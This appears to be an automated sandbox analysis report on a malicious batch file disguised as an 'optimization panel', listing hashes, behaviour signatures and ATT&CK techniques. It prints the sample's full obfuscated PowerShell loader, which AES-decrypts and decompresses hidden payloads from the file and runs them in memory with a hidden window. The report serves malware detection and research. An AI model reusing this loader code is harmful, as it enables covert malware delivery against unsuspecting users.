4b2bbb9a5c6d64c6bda74a64ad364a8a2a1c8e6b3d93e41a335a5c5792789923

Analysis

max time kernel
52s
max time network
16s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
09-06-2024 02:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

PaidOptimizationPanel.bat
Size

519KB
MD5

f2ab9e899e7a76f48bf673057e7787ea
SHA1

596f8f3f081ab0a87bb651adf3918761129cb59e
SHA256

4b2bbb9a5c6d64c6bda74a64ad364a8a2a1c8e6b3d93e41a335a5c5792789923
SHA512

d39c261f5cec6d4e51e68cd87b14127041cf99507ef0cc9c9bf05872ca72da3bb74d4aacb55f864c00d6532d2a9117616fad5ecd996644a79ff1bac2eb977370
SSDEEP

12288:Gw8iMEuAlr97ma3TeLX8Ggbcrgcaa8LCtlO3icephEXsPtOOztWeSN:GiTuMeLkbcMg8LCPMpe6WEG4eSN

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2920 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2920 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2920 powershell.exe

pid	process
2920	powershell.exe

pid	process
2920	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2920	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2908 wrote to memory of 2688	2908	cmd.exe	cmd.exe
PID 2908 wrote to memory of 2688	2908	cmd.exe	cmd.exe
PID 2908 wrote to memory of 2688	2908	cmd.exe	cmd.exe
PID 2908 wrote to memory of 2920	2908	cmd.exe	powershell.exe
PID 2908 wrote to memory of 2920	2908	cmd.exe	powershell.exe
PID 2908 wrote to memory of 2920	2908	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\PaidOptimizationPanel.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2908

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8VrnqL5FdmunZzeVZ6qm3mq6yWYLBaHrvu1oPeSLCUs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6e3JZfxMjzGGrf+BTRgQsw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $icvPY=New-Object System.IO.MemoryStream(,$param_var); $fyiKi=New-Object System.IO.MemoryStream; $qOVHn=New-Object System.IO.Compression.GZipStream($icvPY, [IO.Compression.CompressionMode]::Decompress); $qOVHn.CopyTo($fyiKi); $qOVHn.Dispose(); $icvPY.Dispose(); $fyiKi.Dispose(); $fyiKi.ToArray();}function execute_function($param_var,$param2_var){ $BdoSp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CXjdj=$BdoSp.EntryPoint; $CXjdj.Invoke($null, $param2_var);}$SmpZi = 'C:\Users\Admin\AppData\Local\Temp\PaidOptimizationPanel.bat';$host.UI.RawUI.WindowTitle = $SmpZi;$ACAQw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SmpZi).Split([Environment]::NewLine);foreach ($WeFFm in $ACAQw) { if ($WeFFm.StartsWith('aZvtqFFHKksqGUkZuRxa')) { $Rumeg=$WeFFm.Substring(20); break; }}$payloads_var=[string[]]$Rumeg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:2688

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2920

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2920-4-0x000007FEF5CEE000-0x000007FEF5CEF000-memory.dmp

Filesize
4KB

Download
memory/2920-6-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2920-7-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download
memory/2920-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2920-9-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download
memory/2920-8-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download
memory/2920-10-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download
memory/2920-11-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp

Filesize
9.6MB

Download